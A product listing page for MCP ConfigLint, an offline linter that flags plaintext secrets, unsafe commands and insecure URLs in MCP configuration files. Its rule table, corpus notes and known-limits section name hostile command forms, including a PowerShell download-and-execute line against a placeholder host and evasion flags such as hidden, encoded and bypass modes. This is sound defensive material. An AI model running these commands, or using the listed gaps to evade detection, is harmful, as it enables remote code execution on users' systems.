Skip to main content
Glama

MCP ConfigLint

Offline static checks for MCP client configuration files; flags plaintext secrets, unsafe commands and insecure URLs without starting any server; JSON and SARIF output.

Status: First public release 0.1.0; not yet published to npm or the MCP Registry at the time of writing.

Item

Value

npm package

mcp-configlint (version 0.1.0)

MCP Registry name

io.github.strictstack/mcp-configlint

Source code

https://github.com/strictstack/mcp-configlint

Issues

https://github.com/strictstack/mcp-configlint/issues

Documentation

https://strictstackdocs.tech/mcp-configlint/

Vendor

StrictStack, https://strictstack.tech, support@strictstack.tech

License

Apache-2.0

The names and URLs above were chosen by the operator and checked as unused (HTTP 404) before publication. They respond only after the operator publishes; ownership is proven at publication time.

The engine reads JSON or JSONC from one explicitly named file or from standard input. It never executes the configured commands, resolves environment variables, contacts URLs or searches for configuration files elsewhere. Values recognised as credentials are redacted in the output. Remediation suggestions are returned as data and are never applied automatically.

Requirements: Node.js 22 or later. There are no runtime dependencies. The portable engine in src/index.mjs can also be imported in a browser.

Usage

Command line

npx mcp-configlint <config-file>
npx mcp-configlint --format sarif <config-file> > report.sarif
npx mcp-configlint --format text < <config-file>
npx mcp-configlint --help

Synopsis (from bin/cli.mjs):

mcp-configlint [--format json|text|sarif] [FILE|-]
mcp-configlint --mcp

Option

Behaviour

--format json

Default. Full result object (findings, summary, disclaimer) as JSON.

--format sarif

Redacted SARIF 2.1.0 log.

--format text

One line per finding: severity, rule ID, server name, message.

FILE or -

Input file, read once. - or no argument reads standard input. At most one input.

--help, -h

Print usage.

Input is limited to 64 KiB. The configuration must contain an mcpServers or servers collection.

Exit codes:

Code

Meaning

0

No error-severity findings (warnings may be present).

1

At least one error-severity finding.

2

Invalid configuration (MCL-001), invalid arguments, unsupported format, input over 64 KiB, or input that could not be read.

MCP server mode

npx mcp-configlint --mcp
# equivalent installed binary:
mcp-configlint-mcp

--mcp must be the only argument. The server uses the stdio transport. It supports MCP revision 2026-07-28 (per-request metadata: server/discover, then tools/list and tools/call, with protocolVersion and clientCapabilities in each request's _meta) and the 2025-11-25 initialization sequence (initialize, notifications/initialized, then tool requests).

Tools: lint_config, check_version_pins, compare_config, explain_rule, export_sarif. All tools are read-only; they receive the configuration as a string or object in the request and never open files.

For a local checkout, configure the client with node as the command and the absolute path of bin/mcp.mjs in args.

Request IDs must not carry secrets. Errors without a readable ID omit id, as the MCP schemas of both supported revisions require; errors with a valid ID preserve it. The difference from base JSON-RPC is recorded in SCHEMA_VALIDATION.

Related MCP server: MCP Preflight

Rules

Rule set version 1.0.0 (src/rules.mjs). Use explain_rule for the full explanation and remediation of each rule.

Rule

Severity

Check

MCL-001

error

Invalid configuration (syntax, shape, size or nesting)

MCL-002

error

Duplicate member or server names

MCL-003

error

Plaintext credential in environment

MCL-004

error

Plaintext credential in arguments

MCL-005

error

Plaintext credential in headers

MCL-006

error

Plaintext credential in URL or query

MCL-007

error

Shell command chaining

MCL-008

error

Download followed by execution

MCL-009

warning

Interpreter code evaluation

MCL-010

warning

Latest version selection

MCL-011

warning

Floating version selection

MCL-012

warning

Missing version pin

MCL-013

warning

Runtime package installation

MCL-014

error

Unencrypted remote transport (HTTP/WS outside loopback)

MCL-015

warning

Literal network address

MCL-016

warning

Private network endpoint

MCL-017

error

Filesystem root scope

MCL-018

warning

Home directory scope

MCL-019

error

Privileged container

MCL-020

warning

Explicit root identity

MCL-021

error

Sensitive host container mount

MCL-022

error

Approve every tool

MCL-023

warning

Full environment forwarding

MCL-024

warning

Remote endpoint without declared authentication

MCL-025

error

Incoming token forwarding

MCL-026

error

TLS verification disabled

MCL-027

warning

Broad network binding

MCL-028

warning

Unrestricted tool access

Coverage of the synthetic corpus

The round 3 corpus covers launch wrappers (env, sudo, nohup, busybox, timeout, nice), evaluation through Perl, Ruby and npx, redirections in the command field, and PowerShell IEX/DownloadString. Round 4 adds doas, xargs, flock, time, unshare, command, exec, su -c and script -c, explicit interpreters after unknown commands, and four PowerShell forms that link download to execution. Variants appear in command, in args and in both fields combined, plus controls with quoted text, comments, file execution and download without execution. node scripts/generate-fixtures.mjs regenerates the synthetic data deterministically without executing its commands.

Review P24 added 20 paired fixtures: PowerShell -ep bypass -c, -W Hidden -c and -enc, script -qc, su -lc, tcsh/csh/mksh -c, env -S with text attached to the argument, and interpreters after npx … --. The -enc payload is not decoded: it produces MCL-009 without any claim about the executed content. The new fixtures are listed in DATA_PROVENANCE.json with synthetic origin, generator, size and SHA-256.

The test report contains per-server TP/FP/FN/TN matrices for each corpus and a combined matrix, computed during the tests (harness mode). Rejected configurations are counted separately because they have no analysed servers. The round 4 policy is conservative: it flags explicit sequences such as sh -c even when they appear in the arguments of an unknown command, so it may alert when that command only treats the sequence as data. Two round 3 controls were reclassified by this change and their metrics recalculated. Known listing options, script-file boundaries and -- are respected. These matrices measure only the labelled synthetic cases; precision on real-world configurations is not measured. See INTERPRETER_MATRIX_ROUND3 and ADVERSARIAL.

Limits

  • Static lint findings do not prove the absence of malicious behaviour. This is not a penetration test or a security certification.

  • The tool performs no network access and spawns no processes (src/egress.mjs contains no network or subprocess implementation). It does not resolve aliases, environment expansion or dynamically constructed code.

  • Detection is heuristic; the following known limits can produce false negatives:

Form

Current limit

PowerShell $p = irm https://x.invalid/a.ps1; iex $p

Values are not propagated between assignments and statements. MCL-008 may be missing even when MCL-007/MCL-009 are reported. Composite pipelines that transform content before iex are not guaranteed to be detected.

docker run --entrypoint sh image -c '…'

The argv produced by the image and entrypoint is not reconstructed; MCL-009/MCL-008 may be missing. Also applies to --entrypoint=sh.

These limits require human review of commands and must not be read as absence of remote execution.

Development

npm ci --ignore-scripts
npm test
npm pack --dry-run --ignore-scripts --offline

npm test runs node scripts/run-tests.mjs (harness tests, no dependencies). Each run writes its measurements (including duration, environment and UTC date) outside the repository: to the path in MIB_TEST_REPORT_LATEST when set (a path inside the repository is refused with exit 2), otherwise to TEST_REPORT.latest.json in a new temporary directory whose path the runner prints on stderr. Running the tests leaves git status --porcelain --ignored empty. TEST_REPORT.json is the versioned snapshot of the last run in which results changed: counts, cases/files, suites and any other metrics. Only duracao_s, ambiente and gerado_em are excluded from that comparison. If only those three fields differ, the snapshot keeps its original bytes and measurements, and the latest measurement remains in the temporary file. Result changes, including failures, update both files. The runner reports on stderr which file was updated; it does not change or hide the Git state.

The round 4 offline proof installs and calibrates network, DNS, process and write traps before importing the application, analyses the corpus through the APIs and through the in-memory MCP protocol, and checks that private sentinels do not appear in JSON, SARIF or MCP responses. The observed counters are added to the test report automatically (harness mode).

Validation against the official schemas is a separate development check. It requires Python and the optional development tool jsonschema (MIT), which is not a runtime dependency:

python3 scripts/validate_registry.py
python3 scripts/validate_registry.py report.sarif --schema sarif

The validator never downloads schemas. RESEARCH records the official sources, versions, hashes, retrieval limitations and verification details. REGISTRY describes Registry metadata and distribution channels.

mcpName

The MCP Registry verifies ownership of an npm package by matching package.json#mcpName with server.json#name (source: https://github.com/modelcontextprotocol/registry/blob/main/docs/modelcontextprotocol-io/package-types.mdx, consulted 2026-11-15). Both are set to io.github.strictstack/mcp-configlint.

Publishing (operator only)

Publication is performed only by the operator with a single script:

bash scripts/publish-public-release.sh [--dry-run | --confirmar] [--env-file <path>] [--help]

One-line command for the actual release:

bash scripts/publish-public-release.sh --confirmar

Options and configuration

  • Without a mode the script runs --dry-run. Passing both modes, an unknown option, or --env-file without a path exits with code 2.

  • .env is optional and read from the repository root by default (./.env, git-ignored). .env.example lists the accepted names with NAO-USAR values. The file is parsed literally line by line (NAME=value) against a closed list of names, without shell expansion; unknown or repeated names, or control characters, exit with code 2.

  • Required only with --confirmar: NPM_TOKEN, GITHUB_TOKEN.

  • Optional:

    • CONFIGLINT_CODIGO_URL: GitHub HTTPS URL override.

    • CONFIGLINT_MCP_NAME: Registry name override, either io.github.<owner>/mcp-configlint (owner must equal the owner in the GitHub URL) or tech.strictstack/mcp-configlint.

    • CONFIGLINT_GATE_CLI: path to the clean-room gate CLI; default ../mib-cleanroom-gate/bin/mib-cleanroom-gate.mjs.

    • MCP_PRIVATE_KEY: only for the tech.strictstack/… DNS namespace; hex Ed25519 private key, passed to mcp-publisher through the environment only.

  • Defaults come from package.json (repository.url, mcpName), so --dry-run works without .env and without credentials. Overrides are applied only to the temporary snapshot that is packed and published, never to the repository; the printed plan states when an override is active. The code pushed to GitHub is always the certified HEAD commit.

Steps in both modes

  1. Validate the configuration and the coherence of the metadata.

  2. Scan the versioned tree and the history for secrets and private files.

  3. Run the tests in a temporary snapshot of the HEAD files.

  4. Run the clean-room gate with --fase build. The gate's own requirements apply; the script does not create or certify clean-room receipts.

  5. Run npm pack --offline twice and require identical SHA-256 digests.

  6. Print the plan: the exact external commands, with sensitive values masked.

The dry run writes only to a new directory under /tmp (the path is printed), uses no network and does not modify the repository.

Additional steps with --confirmar

Executed in this order; each step is idempotent:

Before any write, every remote state (public GitHub repository, remote main, published package, Registry entry) is read first; if any of them diverges the script exits with code 1 and nothing is pushed or published. The snapshot is materialised from the HEAD Git objects (not from the working tree); files flagged assume-unchanged or skip-worktree are refused. The push leaves from a fresh temporary bare repository that contains only the certified HEAD, with -c core.hooksPath=/dev/null -c http.sslVerify=true -c http.followRedirects=false, so the repository's own .git/config never applies to the authenticated command. mcp-publisher login dns reads the key from MCP_PRIVATE_KEY when no key flag is given (resolvePrivateKey in cmd/publisher/commands/login.go, https://github.com/modelcontextprotocol/registry, read 2026-11-15); the existing Registry entry is compared on name, version and package identifiers only.

  1. GitHub: an unauthenticated read of https://api.github.com/repos/<owner>/<repo> must show an existing public repository; then git ls-remote, then git push <url> <HEAD>:refs/heads/main. Skipped if the remote main already equals HEAD; refused with exit code 1 if it differs.

  2. npm: check https://registry.npmjs.org/mcp-configlint/0.1.0. Skipped if the published integrity is identical; refused (exit 1) if it differs; otherwise npm publish <tgz> --access public --ignore-scripts, with the token only in the child environment.

  3. MCP Registry: check the published version. Skipped if identical; refused if different; otherwise mcp-publisher login github (the GitHub token is passed as MCP_GITHUB_TOKEN in the child environment, never on the command line, so no device-code prompt appears; mcp-publisher reads MCP_GITHUB_TOKEN when --token is absent, per cmd/publisher/auth/github-at.go in https://github.com/modelcontextprotocol/registry, read 2026-11-15) or, for tech.strictstack/…, mcp-publisher login dns --domain strictstack.tech (key via MCP_PRIVATE_KEY in the child environment), then mcp-publisher publish. The Registry login token is kept in a temporary HOME and deleted afterwards.

Secrets never appear in argv, in output, or in files of the repository or package. Child processes receive a minimal environment. The script sets umask 077.

Example and placeholder values (for example NAO-USAR, example, changeme, placeholder) are refused under --confirmar.

Exit codes

Code

Meaning

0

Success.

1

Verification failure: tests, gate, reproducibility, secret found, remote divergence.

2

Usage error, or missing, invalid or example configuration.

Operator prerequisites

  • GitHub organization strictstack with an empty public repository mcp-configlint.

  • A GitHub token with permission to push contents to that repository and with read:org (classic PAT) or "Organization permissions → Members → Read-only" (fine-grained). The Registry requires this to grant the organization namespace io.github.strictstack/* (source: https://github.com/modelcontextprotocol/registry/blob/main/docs/modelcontextprotocol-io/authentication.mdx, consulted 2026-11-15).

  • An npm account with an access token allowed to publish mcp-configlint.

  • mcp-publisher installed on PATH.

  • For the DNS namespace only: a TXT record on the strictstack.tech apex with the value v=MCPv1; k=ed25519; p=<public key> (same source).

License

Apache-2.0. See LICENSE and LICENSES.json. The schemas under schemas/ are used only for development validation and keep their own terms in schemas/licenses/.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      C
      maintenance
      Enables any MCP client to detect Claude Code configuration that is silently ignored, such as agent files that fail to load, unknown frontmatter fields, parent-folder settings, conflicting MCP server entries and drift since a baseline. Exposes read-only tools that return findings with exact edits, the fix prompt, and explanations of each check, without modifying any files.
      Apache 2.0
    • A
      license
      Not graded
      quality
      C
      maintenance
      Enables users to statically review MCP configuration or captured tools/list JSON before running it, producing redacted JSON or SARIF reports and optionally exposing a stdio review tool.
      MIT
    • A
      license
      Not graded
      quality
      B
      maintenance
      A read-only MCP server that lets an agent audit its own environment by discovering local MCP configurations and skill folders on Windows, macOS, and Linux and running offline static checks for prompt injection, hidden instructions, hardcoded secrets, dangerous commands, unpinned packages, and excessive filesystem or transport permissions. It exposes tools to scan everything discovered, list configurations, vet a single skill, or analyze supplied text, returning text, JSON, SARIF, or HTML findings with CI-friendly severity levels.
      8 npm
      MIT